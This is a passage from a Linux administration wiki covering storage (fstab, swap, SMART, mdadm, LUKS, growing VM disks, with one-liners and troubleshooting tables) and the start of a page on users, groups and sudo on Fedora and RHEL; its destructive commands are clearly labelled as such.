`/etc/lvm/backup/` and `/etc/lvm/archive/` hold metadata backups after every change; `vgcfgrestore -l vg0` lists them and `vgcfgrestore -f FILE vg0` restores one, which is how an accidental `lvremove` is undone before any data is overwritten. ## fstab and mount options `/etc/fstab` declares what mounts at boot. systemd generates a `.mount` unit per line, orders `local-fs.target` after them, and a failing line without `nofail` drops the boot into emergency mode. ```ini # UUID=3f1a2b4c-0d5e-4f6a-8b7c-9d0e1f2a3b4c / xfs defaults 0 0 UUID=A1B2-C3D4 /boot/efi vfat umask=0077,shortname=winnt 0 2 /dev/mapper/vg0-data /srv/data ext4 defaults,noatime,nofail,x-systemd.device-timeout=10s 0 2 LABEL=backup /mnt/backup xfs noauto,nofail,x-systemd.automount,x-systemd.idle-timeout=10min 0 0 nas.example.com:/export/media /mnt/media nfs4 _netdev,nofail,soft,timeo=150,retrans=3,noatime 0 0 tmpfs /var/tmp/build tmpfs size=4G,mode=1777,nosuid,nodev 0 0 /swapfile none swap defaults 0 0 ``` Options that matter: | Option | Effect | | --- | --- | | `defaults` | `rw,suid,dev,exec,auto,nouser,async` | | `noatime` | Do not update access times on read; safe for almost everything and removes a write per read. `relatime` (kernel default) updates once a day | | `nofail` | Boot continues if the device is missing; combine with `x-systemd.device-timeout=` so it does not wait 90 s | | `noauto` | Not mounted by `mount -a` or at boot; pair with `x-systemd.automount` to mount on first access | | `_netdev` | Network filesystem: wait for the network, unmount before it goes down | | `nosuid,nodev,noexec` | Harden `/tmp`, `/var/tmp`, `/home`, removable media and data mounts | | `ro` | Read-only | | `discard` | Issue TRIM on every delete (online discard); a `fstrim.timer` is usually better | | `x-systemd.requires-mounts-for=` | Order after another mount, for nested paths | | `pass` `0` | Never fsck at boot; `1` for root, `2` for the rest on ext4; XFS and Btrfs ignore it | ```sh mount -a # mount everything in fstab not yet mounted; the way to test a new line findmnt --verify # syntax and device existence check without mounting systemctl daemon-reload # regenerate mount units after editing fstab (systemd asks for this) mount -o remount,ro /srv/data # change options on a mounted filesystem mount --bind /srv/data/www /var/www # bind mount: same filesystem at a second path mount -o bind,ro /srv/data/www /var/www # read-only bind needs a remount step on old kernels; one step on 5.x+ mount -t tmpfs -o size=1G tmpfs /mnt/scratch mount -o loop image.iso /mnt/iso # loop device for an image; losetup -f --show image.img for a raw disk image losetup -Pf --show disk.img # -P scans partitions, giving /dev/loop0p1 umount /mnt/data; umount -l /mnt/data # -l: lazy, detach now and clean up when no longer busy systemd-mount /dev/sdb1 /mnt/usb; systemd-umount /mnt/usb # transient mount unit with automatic dependency handling ``` A mount unit name is the path with `/` replaced by `-`: `/srv/data` is `srv-data.mount`. `systemctl status srv-data.mount` and `journalctl -u srv-data.mount` show why a mount failed at boot. Writing a `.mount` unit instead of an fstab line is equivalent; fstab is simpler to review. ## Swap Swap gives the kernel somewhere to put anonymous pages under memory pressure. Fedora uses zram (compressed RAM) by default; servers commonly add a swap file or partition sized at a few GiB regardless of RAM so that a leak degrades gracefully instead of triggering the OOM killer. ```sh swapon --show; free -h # current swap devices and usage fallocate -l 4G /swapfile && chmod 600 /swapfile && mkswap /swapfile && swapon /swapfile # ext4 and XFS; Btrfs needs chattr +C and no snapshots on the file dd if=/dev/zero of=/swapfile bs=1M count=4096 status=progress # alternative when fallocate is refused mkswap -L swap /dev/vg0/swap && swapon /dev/vg0/swap # swap on an LV, growable with lvextend then swapoff/mkswap/swapon swapoff /swapfile # pages back into RAM; fails if RAM cannot hold them sysctl vm.swappiness; sysctl -w vm.swappiness=10 # 60 default; lower prefers dropping cache over swapping; persist in /etc/sysctl.d/ zramctl # zram devices and compression ratio ``` Hibernate needs swap at least the size of RAM and `resume=` on the kernel command line. Swap on a thin LV or a sparse file is unsafe: the kernel cannot allocate blocks under memory pressure. ## SMART Drives report their own health through SMART. `smartctl` reads it; `smartd` polls and emails or logs when attributes change. ```sh smartctl -i /dev/sda # identity: model, serial, firmware, sector sizes, SMART support smartctl -H /dev/sda # overall health: PASSED or FAILED (a pass means little; look at the attributes) smartctl -a /dev/sda # everything: attributes, error log, self-test log smartctl -a /dev/nvme0 # NVMe: percentage_used, available_spare, media_errors, unsafe_shutdowns smartctl -A /dev/sda | grep -E 'Reallocated_Sector|Current_Pending|Offline_Uncorrectable|UDMA_CRC|Power_On_Hours|Temperature' smartctl -t short /dev/sda; smartctl -t long /dev/sda # self-tests; check with -l selftest after the time it reports smartctl -l error /dev/sda # ATA error log smartctl -d sat /dev/sdX; smartctl -d megaraid,0 /dev/sda # behind a USB bridge or RAID controller smartctl --scan # devices and the -d type to use ``` The attributes that predict failure on spinning disks are `Reallocated_Sector_Ct` (5), `Current_Pending_Sector` (197) and `Offline_Uncorrectable` (198): any non-zero raw value means the disk has already lost data or is about to, and a rising count means replace it now. `UDMA_CRC_Error_Count` (199) is a cable or backplane problem, not the disk. On NVMe, `Percentage Used` over 100 and `Available Spare` under threshold mean end of life; `Media and Data Integrity Errors` should stay at zero. `smartd` runs from `smartmontools` with `/etc/smartmontools/smartd.conf`; `DEVICESCAN -a -o on -S on -s (S/../.././02|L/../../6/03) -m root -M exec /usr/libexec/smartmontools/smartdnotify` scans every disk, runs a short test nightly and a long test weekly, and notifies on change. ## IO performance ```sh iostat -xz 1 # per device each second, skip idle ones: r/s w/s rMB/s wMB/s r_await w_await aqu-sz %util iostat -xzd 5 3 nvme0n1 # one device, three samples five seconds apart iotop -oPa # processes doing IO (-o only active, -P processes not threads, -a accumulated) pidstat -d 1 # per-process read/write rate vmstat 1 # b (blocked on IO), bi/bo, wa (iowait %) cat /sys/block/sda/queue/scheduler # [mq-deadline] none bfq kyber; none for NVMe, mq-deadline for SATA SSD, bfq for desktop HDD cat /sys/block/sda/queue/rotational /sys/block/sda/queue/discard_granularity blockdev --getra /dev/sda; blockdev --setra 4096 /dev/sda # read-ahead in 512-byte sectors hdparm -tT /dev/sda # crude sequential read benchmark (reads only) fio --name=randread --filename=/mnt/data/fio.test --size=4G --rw=randread --bs=4k --iodepth=32 --ioengine=libaio --direct=1 --runtime=30 --time_based --group_reporting # IOPS test; creates a 4 GiB file dd if=/dev/zero of=/mnt/data/dd.test bs=1M count=4096 oflag=direct status=progress # sequential write; creates a 4 GiB file ``` `%util` near 100 on a spinning disk is saturation; on an NVMe with many queues it is not, so look at `aqu-sz` and `await` instead. `r_await` and `w_await` are the latency the applications see: over 10 ms on an SSD or over 30 ms on a disk means queueing. Bandwidth without high `await` is a healthy busy disk. See [Linux performance](https://www.wiki.jodisand.me/linux-performance/#disk) for the wider method. TRIM tells an SSD or a thin LV which blocks are free. Weekly `fstrim.timer` (enabled by default on Fedora and RHEL) is preferable to the `discard` mount option, which issues small discards synchronously on every delete. ```sh fstrim -av # trim every mounted filesystem that supports it; prints bytes trimmed systemctl enable --now fstrim.timer; systemctl list-timers fstrim.timer lsblk -D # DISC-GRAN and DISC-MAX: 0B means the device does not accept discards ``` For a VM, the virtual disk must be attached with `discard=unmap` (virtio-scsi or virtio-blk on QEMU 4.0+) for `fstrim` in the guest to shrink a thin image or thin LV on the host. ## mdadm Software RAID from disks or partitions. Use partitions of type `fd00` (or `linux_raid_member` autodetection) so a replacement disk can be partitioned identically. ```sh mdadm --create /dev/md0 --level=1 --raid-devices=2 /dev/sdb1 /dev/sdc1 # DESTRUCTIVE to those partitions; mirror mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/sd[bcd]1 # RAID 5 (one disk of parity) mdadm --create /dev/md0 --level=6 --raid-devices=4 --chunk=512 /dev/sd[bcde]1 # RAID 6 (two disks of parity) mdadm --create /dev/md0 --level=10 --raid-devices=4 --layout=f2 /dev/sd[bcde]1 # RAID 10, far layout for read speed cat /proc/mdstat # state and rebuild progress mdadm --detail /dev/md0 # members, state, failed and spare counts mdadm --examine /dev/sdb1 # superblock on a member mdadm --detail --scan >> /etc/mdadm.conf # persist the array definition; then rebuild the initramfs (dracut -f) if it holds root mdadm --manage /dev/md0 --fail /dev/sdc1 --remove /dev/sdc1 # mark failed and pull it mdadm --manage /dev/md0 --add /dev/sdd1 # add a replacement; rebuild starts immediately mdadm --grow /dev/md0 --raid-devices=4 --add /dev/sde1 # reshape to more disks (slow; keep a backup) mdadm --grow /dev/md0 --size=max # after replacing all members with larger disks echo check > /sys/block/md0/md/sync_action; cat /sys/block/md0/md/mismatch_cnt # scrub; raid-check.timer does this monthly on RHEL/Fedora mdadm --stop /dev/md0; mdadm --zero-superblock /dev/sdb1 # dismantle; zero-superblock is DESTRUCTIVE to the member's RAID metadata ``` `echo 200000 > /proc/sys/dev/raid/speed_limit_min` speeds a rebuild at the cost of foreground IO. `mdadm --monitor --scan --daemonise` (or `mdmonitor.service`) mails `MAILADDR` from `mdadm.conf` on failures. RAID is not a backup: it survives a disk, not a deletion. ## LUKS with cryptsetup LUKS2 stores a header with key slots on the device; each slot holds the master key wrapped by a passphrase or key file. Losing the header loses the data, so back it up. Argon2id is the default key derivation in cryptsetup 2.x and uses about 1 GiB of RAM per unlock by default; lower `--pbkdf-memory` on small VMs. ```sh cryptsetup luksFormat --type luks2 /dev/sdb1 # DESTRUCTIVE: writes a LUKS header; asks for YES in capitals and a passphrase cryptsetup luksFormat --type luks2 --pbkdf-memory 262144 --label data-crypt /dev/sdb1 # 256 MiB Argon2 memory cryptsetup open /dev/sdb1 data-crypt # unlock as /dev/mapper/data-crypt mkfs.xfs -L data /dev/mapper/data-crypt && mount /dev/mapper/data-crypt /mnt/data umount /mnt/data && cryptsetup close data-crypt cryptsetup luksDump /dev/sdb1 # header: slots in use, cipher, PBKDF parameters, UUID cryptsetup luksHeaderBackup /dev/sdb1 --header-backup-file /root/sdb1-luks-header.img # store off the machine; it grants access with any valid passphrase cryptsetup luksAddKey /dev/sdb1 # add a second passphrase (prompts for an existing one first) cryptsetup luksAddKey /dev/sdb1 /root/data.key # add a key file: dd if=/dev/urandom of=/root/data.key bs=64 count=1; chmod 600 cryptsetup luksRemoveKey /dev/sdb1 # remove the passphrase you enter cryptsetup luksKillSlot /dev/sdb1 1 # remove slot 1 cryptsetup luksChangeKey /dev/sdb1 cryptsetup -v status data-crypt # mapping details cryptsetup reencrypt --disable-locks --resilience journal /dev/sdb1 # rotate the master key online (LUKS2) cryptsetup open --type plain --key-file /dev/urandom /dev/sdb1 wipe && dd if=/dev/zero of=/dev/mapper/wipe bs=1M status=progress; cryptsetup close wipe # DESTRUCTIVE: fast random-fill of a disk before formatting ``` Unlock at boot through `/etc/crypttab`, then reference the mapper device in fstab: ```ini # data-crypt UUID=6b1f0c8e-2f8a-4c3d-9e1a-7b6c5d4e3f2a /root/data.key luks,discard,nofail root-crypt UUID=... none luks,discard ``` `none` prompts on the console. `discard` passes TRIM through to the SSD (it leaks which blocks are free, which is acceptable for most threat models). A key file for a data volume on an encrypted root is the usual pattern for servers: root asks for a passphrase or a TPM (`systemd-cryptenroll --tpm2-device=auto /dev/sda3`) and data unlocks itself from the key stored on root. `dracut -f` rebuilds the initramfs after changing crypttab entries needed for root. ## Growing a VM disk end to end The host grows the virtual disk; the guest grows the partition, then the PV, then the LV, then the filesystem. No reboot is needed for a virtio disk when the guest can rescan. On the host (one of): ```sh qemu-img resize /var/lib/libvirt/images/my-vm.qcow2 +50G # VM stopped; qcow2 or raw virsh blockresize my-vm /var/lib/libvirt/images/my-vm.qcow2 150G # VM running qm resize 100 scsi0 +50G # Proxmox lvextend -L +50G /dev/vg0/vm-100-disk-0 # LV-backed disk, then the VM sees it after a rescan or restart ``` The host-side commands are covered in [libvirt](https://www.wiki.jodisand.me/libvirt/) and [Proxmox](https://www.wiki.jodisand.me/proxmox/). In the guest, from the top: ```sh lsblk # confirm the disk (vda) is bigger and which partition holds the PV or filesystem echo 1 > /sys/class/block/vda/device/rescan # virtio-blk rescan; for virtio-scsi: echo 1 > /sys/class/scsi_device/*/device/rescan growpart /dev/vda 3 # cloud-utils-growpart: grow partition 3 to the end of the disk; safe online; fixes the GPT backup header too # without growpart: parted /dev/vda resizepart 3 100% (parted 3.2+ works online; older versions want the partition unmounted) partprobe /dev/vda # if the kernel did not pick up the new size pvresize /dev/vda3 # PV sees the bigger partition lvextend -r -l +100%FREE /dev/rhel/root # LV and filesystem in one step (-r calls xfs_growfs or resize2fs) df -h / # done ``` If there is no LVM, stop after `growpart` and run `xfs_growfs /` or `resize2fs /dev/vda3`. If a swap partition sits between the root partition and the end of the disk, delete it (`swapoff`, `parted rm`), grow root, and recreate swap as a file instead. Adding a second virtual disk and running `pvcreate`, `vgextend`, `lvextend -r` avoids partition surgery entirely and is the simplest path when the layout is awkward. ## Oneliners ```sh # Disks with model, serial, size and transport, no partitions lsblk -d -o NAME,MODEL,SERIAL,SIZE,TRAN,ROTA # Filesystems over 85% full df -hP -x tmpfs -x devtmpfs | awk 'NR > 1 && $5 + 0 > 85 {print $5, $6}' # Largest directories under a mount, staying on one filesystem du -xh --max-depth=2 /var 2>/dev/null | sort -h | tail -20 # Largest files under a path find /var -xdev -type f -size +500M -printf '%s\t%p\n' 2>/dev/null | sort -rn | numfmt --field=1 --to=iec | head # Space held by deleted-but-open files, with the process holding them lsof -nP +L1 | awk 'NR > 1 {print $2, $1, $7, $10}' | sort -k3,3nr | head # Truncate a deleted log a process still holds (frees the space without restarting it) : > /proc/1234/fd/5 # Which mount a path lives on and its options findmnt -T /var/lib/containers -o TARGET,SOURCE,FSTYPE,OPTIONS # fstab line for a device, ready to paste printf 'UUID=%s /mnt/data %s defaults,noatime,nofail 0 2\n' "$(blkid -s UUID -o value /dev/sdb1)" "$(blkid -s TYPE -o value /dev/sdb1)" # Test fstab without rebooting findmnt --verify && mount -a && systemctl daemon-reload # Read-only mounts that should not be (a filesystem remounted ro after errors) findmnt -rn -o TARGET,OPTIONS | awk '$2 ~ /(^|,)ro(,|$)/' # Kernel messages about a disk journalctl -k | grep -iE 'sd[a-z]|nvme|I/O error|ext4-fs error|XFS .*error|remount' # Sector size and alignment of every partition for d in /dev/sd? /dev/nvme?n1; do [ -e "$d" ] && parted -s "$d" unit s print 2>/dev/null; done # Physical and logical sector size cat /sys/block/sda/queue/physical_block_size /sys/block/sda/queue/logical_block_size # LVM: free extents per VG and where each LV lives vgs -o vg_name,vg_size,vg_free; lvs -a -o lv_name,vg_name,lv_size,devices,segtype # LVM: full snapshot or thin pool warning lvs -o lv_name,data_percent,snap_percent --noheadings | awk '$2 + 0 > 80 || $3 + 0 > 80' # Progress of a RAID rebuild, refreshed watch -n 5 cat /proc/mdstat # SMART summary of every disk for d in /dev/sd? /dev/nvme?; do [ -e "$d" ] && { printf '%s: ' "$d"; smartctl -H "$d" | grep -E 'result|overall'; }; done # Pending and reallocated sectors across disks (non-zero means trouble) for d in /dev/sd?; do printf '%s ' "$d"; smartctl -A "$d" | awk '/Reallocated_Sector|Current_Pending|Offline_Uncorr/ {printf "%s=%s ", $2, $10} END {print ""}'; done # Disk temperature smartctl -A /dev/sda | awk '/Temperature_Celsius|Airflow_Temperature/ {print $10}'; smartctl -a /dev/nvme0 | grep -i '^temperature' # IO latency by device, one shot after 5 seconds iostat -xzd 5 2 | awk '/^Device/ {h++} h == 2 && NF > 1 {print $1, "r_await", $6, "w_await", $12, "util", $NF}' # Processes in D state (blocked on IO) ps -eo pid,stat,wchan:32,comm | awk '$2 ~ /^D/' # Drop caches and time a cold read of a file (benchmark only) sync; echo 3 > /proc/sys/vm/drop_caches; time cat /mnt/data/bigfile > /dev/null # Bytes TRIM would reclaim (dry run has no flag; -v just prints what it trimmed) fstrim -v / # Copy a partition table to a new disk for a mirror and give it new GUIDs sgdisk -R /dev/sdc /dev/sdb && sgdisk -G /dev/sdc # Image a failing disk to a file, skipping bad blocks (ddrescue is in the ddrescue package) ddrescue -d -r3 /dev/sdb /mnt/backup/sdb.img /mnt/backup/sdb.map # Zero a disk before disposal (DESTRUCTIVE; blkdiscard is instant on SSDs that support it) blkdiscard /dev/sdb || dd if=/dev/zero of=/dev/sdb bs=4M status=progress oflag=direct # Secure-erase an NVMe (DESTRUCTIVE) nvme format /dev/nvme0n1 --ses=1 # Fill-level of Btrfs, which df misreports btrfs filesystem usage -h / # Find which package or path is using inodes when df -i is full find / -xdev -printf '%h\n' 2>/dev/null | sort | uniq -c | sort -rn | head ``` ## Scripts Disk-space report that lists filesystems past a threshold and the biggest directories on each, suitable for a cron job that mails its output. ```sh #!/usr/bin/env bash # usage: disk-report.sh [threshold-percent] set -euo pipefail thr=${1:-80} df -hP -x tmpfs -x devtmpfs -x overlay -x squashfs | awk -v thr="$thr" 'NR > 1 && $5 + 0 >= thr {print $6, $5}' | while read -r mnt pct; do printf '\n== %s at %s ==\n' "$mnt" "$pct" du -xh --max-depth=2 "$mnt" 2>/dev/null | sort -h | tail -8 printf -- '-- deleted but open:\n' lsof -nP +L1 -- "$mnt" 2>/dev/null | awk 'NR > 1 {printf " %s (pid %s) %s %s\n", $1, $2, $7, $10}' | sort -u | head -5 done ``` SMART health check across every disk with a non-zero exit when any attribute that predicts failure is set, for a monitoring hook or a systemd timer. ```sh #!/usr/bin/env bash # usage: smart-check.sh (root; smartmontools installed) set -euo pipefail rc=0 while read -r dev _ type _; do # smartctl --scan prints: /dev/sda -d scsi # comment if [[ $dev == /dev/nvme* ]]; then out=$(smartctl -H -A "$dev" 2>/dev/null) || true bad=$(awk -F: '/Media and Data Integrity Errors/ {gsub(/[ ,]/, "", $2); print $2 + 0}' <<< "$out") used=$(awk -F: '/Percentage Used/ {gsub(/[ %]/, "", $2); print $2 + 0}' <<< "$out") health=$(grep -oE 'PASSED|FAILED' <<< "$out" | head -1) printf '%-14s %s media_errors=%s used=%s%%\n' "$dev" "${health:-unknown}" "${bad:-?}" "${used:-?}" [[ $health == PASSED && ${bad:-1} -eq 0 && ${used:-100} -lt 95 ]] || rc=1 else out=$(smartctl -H -A -d "${type:-auto}" "$dev" 2>/dev/null) || true health=$(grep -oE 'PASSED|FAILED' <<< "$out" | head -1) counts=$(awk '/Reallocated_Sector_Ct|Current_Pending_Sector|Offline_Uncorrectable/ {printf "%s=%s ", $2, $10; if ($10 + 0 > 0) bad = 1} END {exit bad}' <<< "$out") || rc=1 printf '%-14s %s %s\n' "$dev" "${health:-unknown}" "$counts" [[ $health == PASSED ]] || rc=1 fi done < <(smartctl --scan) exit "$rc" ``` Grow the root filesystem of a VM after the virtual disk was enlarged, detecting LVM or plain partition layouts. Modifies the partition table and filesystem of the running system; read it before running it. ```sh #!/usr/bin/env bash # usage: grow-root.sh (root; needs cloud-utils-growpart) set -euo pipefail src=$(findmnt -no SOURCE /) # /dev/mapper/rhel-root or /dev/vda3 fstype=$(findmnt -no FSTYPE /) if [[ $src == /dev/mapper/* ]]; then pv=$(pvs --noheadings -o pv_name -S "vg_name=$(lvs --noheadings -o vg_name "$src" | tr -d ' ')" | tr -d ' ' | head -1) part=$pv else part=$src fi disk=$(lsblk -no PKNAME "$part"); num=$(lsblk -no PARTN "$part") # PARTN needs util-linux 2.39+; else: num=${part##*[!0-9]} printf 'root=%s fstype=%s partition=%s disk=/dev/%s number=%s\n' "$src" "$fstype" "$part" "$disk" "$num" growpart "/dev/$disk" "$num" || { echo 'partition already fills the disk or growpart failed' >&2; } if [[ $src == /dev/mapper/* ]]; then pvresize "$pv" lvextend -r -l +100%FREE "$src" else case $fstype in xfs) xfs_growfs / ;; ext4) resize2fs "$part" ;; btrfs) btrfs filesystem resize max / ;; *) echo "unsupported filesystem $fstype" >&2; exit 1 ;; esac fi df -h / ``` ## Troubleshooting | Symptom | Cause | Fix | | --- | --- | --- | | `No space left on device` but `df` shows free space | Inodes exhausted (`df -i` at 100%), or Btrfs metadata chunks full | Delete or move many small files; `btrfs balance start -dusage=50 /` | | `df` shows the disk full after deleting big files | A process still holds the deleted file open | `lsof +L1`, restart the process, or truncate via `/proc/PID/fd/N` | | `du` total is far below `df` used | Files under a mountpoint hidden by a later mount, or deleted-open files | `du -x`, `mount --bind / /mnt/root && du -sh /mnt/root/var`, `lsof +L1` | | Filesystem suddenly read-only, writes fail with `EROFS` | Kernel remounted it read-only after IO errors (`errors=remount-ro`) | `journalctl -k`, then `smartctl -a`; unmount and `fsck` or `xfs_repair` when the hardware is sound | | Boot drops to emergency shell | fstab entry for a missing device without `nofail` | `journalctl -xb`, fix or `nofail` the line, `systemctl daemon-reload`, `systemctl default` | | Slow IO, `%util` high, `await` in the hundreds of ms | Disk saturated, failing (check SMART), or a RAID rebuild | `iostat -xz 1`, `iotop -oPa`, `cat /proc/mdstat`, `smartctl -a` | | Processes stuck in `D` state | Waiting on IO to a hung device or an NFS server | `ps -eo pid,stat,wchan:32,comm \| awk '$2 ~ /^D/'`, `dmesg`, `umount -f -l` for dead NFS | | `mount: wrong fs type, bad option, bad superblock` | Wrong `-t`, missing kernel module, or damaged superblock | `blkid /dev/sdb1`, `dmesg \| tail`, `e2fsck -b 32768 /dev/sdb1` for a backup superblock | | `target is busy` on umount | Open files or a shell `cd`'d into it | `fuser -vm /mnt/data`, `lsof +f -- /mnt/data`; `umount -l` as a last resort | | Partition grew but `lsblk` shows the old size | Kernel has not re-read the table | `partprobe /dev/sda`, `partx -u /dev/sda`, or `echo 1 > /sys/class/block/sda/device/rescan` | | `pvresize` reports no change | Partition not grown, or the kernel still sees the old size | `lsblk`, `growpart`, `partprobe` | | `lvextend` says `Insufficient free space` | VG has no free extents | `vgs`; add a PV with `vgextend` or grow the existing PV | | `xfs_growfs` says `data size unchanged, skipping` | The device under the filesystem did not grow | Grow the LV or partition first and check `lsblk` | | Btrfs `ENOSPC` with free space | Chunk allocation exhausted (unallocated 0) | `btrfs filesystem usage`, `btrfs balance start -dusage=20 -musage=20 /` | | LUKS device asks for passphrase at every boot | crypttab entry uses `none` or the key file is unreachable | Check `/etc/crypttab`, key file permissions, and `dracut -f` if root needs the key | | `cryptsetup open` fails with `No key available with this passphrase` | Wrong passphrase, or a keyboard layout difference in the initramfs | `cryptsetup luksDump` for slots, try with `--key-file`, check `KEYMAP` in `/etc/vconsole.conf` | | RAID degraded after reboot, `mdadm: no arrays found` | `mdadm.conf` missing the array or the initramfs is stale | `mdadm --assemble --scan`, `mdadm --detail --scan >> /etc/mdadm.conf`, `dracut -f` | | `smartctl` says `Unknown USB bridge` or no SMART | USB or RAID controller in the way | `smartctl -d sat`, `-d megaraid,N`, `-d sntasmedia`; `smartctl --scan` | | VM does not see the larger disk | Guest needs a rescan, or the disk was resized while the VM was off but not re-read | `echo 1 > /sys/class/block/vda/device/rescan`, or reboot the guest | ## Further reading - [Red Hat: Managing storage devices](https://docs.redhat.com/en/documentation/red_hat_enterprise_linux/9/html/managing_storage_devices/index): partitions, LVM, RAID, LUKS and NVMe on RHEL 9. - [Red Hat: Configuring and managing logical volumes](https://docs.redhat.com/en/documentation/red_hat_enterprise_linux/9/html/configuring_and_managing_logical_volumes/index): LVM including thin provisioning, snapshots and RAID LVs. - [XFS documentation](https://xfs.wiki.kernel.org/) and [xfs(5)](https://man7.org/linux/man-pages/man5/xfs.5.html): mount options, geometry and repair. - [ext4 kernel documentation](https://www.kernel.org/doc/html/latest/admin-guide/ext4.html): features and mount options. - [Btrfs documentation](https://btrfs.readthedocs.io/en/latest/): subvolumes, balance, scrub, RAID profiles and the FAQ on free space. - [cryptsetup and LUKS2](https://gitlab.com/cryptsetup/cryptsetup/-/wikis/home): the LUKS2 on-disk format, FAQ and recovery guidance. - [Linux RAID wiki](https://raid.wiki.kernel.org/index.php/Linux_Raid): mdadm, recovery and the RAID setup guides. - [smartmontools](https://www.smartmontools.org/wiki/TocDoc): `smartctl`, `smartd.conf` and the attribute meanings per vendor. --- # Users, permissions and SELinux > Manage accounts, groups and sudo rules, read and fix file modes, ACLs and capabilities, and decode SELinux denials on Fedora and RHEL. Canonical: https://www.wiki.jodisand.me/users/ Reviewed: 2026-09-24 Related: [SSH](https://www.wiki.jodisand.me/ssh/index.md), [systemd](https://www.wiki.jodisand.me/systemd/index.md), [FreeIPA / Red Hat IdM](https://www.wiki.jodisand.me/idm/index.md), [Bash](https://www.wiki.jodisand.me/bash/index.md), [Docker](https://www.wiki.jodisand.me/docker/index.md) ## Cheatsheet | Task | Command | | --- | --- | | Create a user with a home and shell | `useradd -m -s /bin/bash alice` | | Create a system account, no home, no login | `useradd -r -s /usr/sbin/nologin -d /var/lib/my-app my-app` | | Add to a supplementary group, keep the others | `usermod -aG wheel alice` | | Set or change a password non-interactively | `printf '%s' "$NEW_PW" \| passwd --stdin alice` | | Force a password change at next login | `chage -d 0 alice` | | Show password ageing and expiry | `chage -l alice` | | Lock the password, then also block key logins | `usermod -L alice; usermod -e 1 alice` | | Remove a user and their home | `userdel -r alice` | | Who am I, in which groups, with which SELinux context | `id`, `id -Z` | | Resolve a name through every source (files, sssd, LDAP) | `getent passwd alice`, `getent group wheel` | | What may I run with sudo | `sudo -l` | | Edit sudoers safely | `visudo -f /etc/sudoers.d/my-app` | | Check all sudoers files parse | `visudo -c` | | Every permission on a path, level by level | `namei -l /srv/www/html/index.html` | | Mode, owner, group and context | `stat -c '%A %U:%G %n' file`, `ls -Z file` | | ACLs on a file | `getfacl file` | | Grant one user read on a file with an ACL | `setfacl -m u:alice:r file` | | File capabilities | `getcap /usr/bin/ping` | | SELinux mode | `getenforce`, `sestatus` | | Fix labels under a path | `restorecon -Rv /srv/www` | | Recent SELinux denials | `ausearch -m AVC,USER_AVC -ts recent -i` | | Why was it denied | `ausearch -m AVC -ts recent \| audit2why` | | Unlock an account locked by failed logins | `faillock --user alice --reset` | Commands assume shadow-utils 4.14+, sudo 1.9, and SELinux with the `targeted` policy as shipped by Fedora 42+ and RHEL 9/10. The `semanage`, `audit2allow` and `sepolicy` commands come from `policycoreutils-python-utils`; `sealert` from `setroubleshoot-server`; `sesearch` from `setools-console`. References: [shadow-utils](https://github.com/shadow-maint/shadow), the [sudoers manual](https://www.sudo.ws/docs/man/sudoers.man/) and the [RHEL SELinux guide](https://docs.redhat.com/en/documentation/red_hat_enterprise_linux/9/html/using_selinux/index). ## How access is decided A process carries a real and effective UID and GID, a list of supplementary groups, a capability set and an SELinux context. When it opens a file the kernel checks, in order: discretionary access (the mode bits and ACL), then the mandatory SELinux policy. Both must allow the operation. A denial from the mode bits and a denial from SELinux both return `EACCES`, so `Permission denied` alone does not tell you which layer refused; `ausearch` does. Group membership is read at login. A user added to a group keeps the old membership in every running session until they log in again, which is why `usermod -aG docker alice` appears not to work until the shell is restarted. `newgrp docker` starts a new shell with the group active, and `loginctl terminate-user alice` ends the stale sessions. ## Accounts `/etc/passwd` holds names, UIDs, primary GIDs, home directories and shells. `/etc/shadow` holds password hashes and ageing, readable only by root. `/etc/group` holds supplementary membership. Defaults for new accounts come from `/etc/login.defs` (`UID_MIN`, `SYS_UID_MAX`, `UMASK`, `HOME_MODE`) and `/etc/default/useradd` (`useradd -D`), and the home directory is copied from `/etc/skel`. ```sh useradd -m -s /bin/bash -c 'Alice Example' -G wheel,developers alice # -m creates the home from /etc/skel useradd -r -s /usr/sbin/nologin -d /var/lib/my-app -M my-app # -r: UID below SYS_UID_MAX; -M: no home directory useradd -u 2001 -g developers -e 2026-12-31 contractor # fixed UID, primary group, expiry date usermod -aG docker alice # -a is essential: without it the user is removed from every other supplementary group usermod -s /usr/sbin/nologin alice usermod -d /home/alice2 -m alice # -m moves the existing home directory contents usermod -L alice # lock: prefixes the hash in /etc/shadow with "!" usermod -U alice # unlock usermod -e 1 alice # account expired on 1970-01-02: blocks every login method, including SSH keys usermod -e '' alice # remove the expiry userdel alice # keeps the home directory and mail spool userdel -r alice # deletes them; files owned by the UID elsewhere on disk remain: find / -xdev -nouser ``` `getent` consults every source in `/etc/nsswitch.conf`, so it finds sssd, LDAP and [IdM](https://www.wiki.jodisand.me/idm/#users-and-groups) users as well as local ones. `grep alice /etc/passwd` does not. > [!WARNING] A locked password does not stop SSH keys > `passwd -l` and `usermod -L` only invalidate the hash. `sshd` with `PubkeyAuthentication` never consults it, so a user with an `authorized_keys` file still logs in. To disable an account, set the expiry (`usermod -e 1`) or change the shell to `nologin`; the expiry is checked by PAM's account phase for every login method. ### Passwords and ageing ```sh passwd alice # interactive; as root no old password is asked for passwd -S alice # status: L locked, NP no password, P usable password, plus ageing fields passwd -e alice # expire now; user must change at next login passwd -d alice # remove the password: empty password, allowed only where nullok is configured chage -l alice # human-readable ageing chage -M 90 -m 1 -W 14 alice # max 90 days, min 1 day between changes, warn 14 days ahead chage -E 2026-12-31 alice # account (not password) expiry; -E -1 removes it chage -d 0 alice # last change "never": forces a change at next login ``` Password quality rules live in `/etc/security/pwquality.conf` and apply to `passwd` runs by non-root users; root can set anything. Hash algorithm and rounds come from `/etc/login.defs` (`ENCRYPT_METHOD YESCRYPT` on Fedora and RHEL 9+). ### Groups ```sh groupadd developers groupadd -r -g 950 my-app # system group, fixed GID gpasswd -a alice developers # add a member gpasswd -d alice developers # remove a member groupmems -g developers -l # list members groupdel developers # refused while it is any user's primary group getent group developers # name:x:gid:member,member id alice # uid, primary gid and every group, from the databases, not a running session ``` Each user gets a private primary group of the same name by default (`USERGROUPS_ENAB yes`). Files created with a `umask` of `002` are then group-writable only by that one user, which is the reason a shared directory needs a setgid bit and a real shared group. ## sudo sudo reads `/etc/sudoers` and then every file in `/etc/sudoers.d/` whose name contains no `.` or `~`, in lexical order. A later matching rule wins over an earlier one. Always edit through `visudo`: it locks the file, parses it before saving, and refuses to install a rule set that would lock everyone out. ```sh visudo # /etc/sudoers visudo -f /etc/sudoers.d/my-app # a drop-in; created with mode 0440 visudo -c # parse every file; run after any change made by configuration management visudo -cf /path/to/candidate # check a file before installing it sudo -l # rules that apply to me sudo -l -U alice # rules that apply to alice (root only) sudo -u my-app -i # login shell as another user sudo -k # drop the cached credential 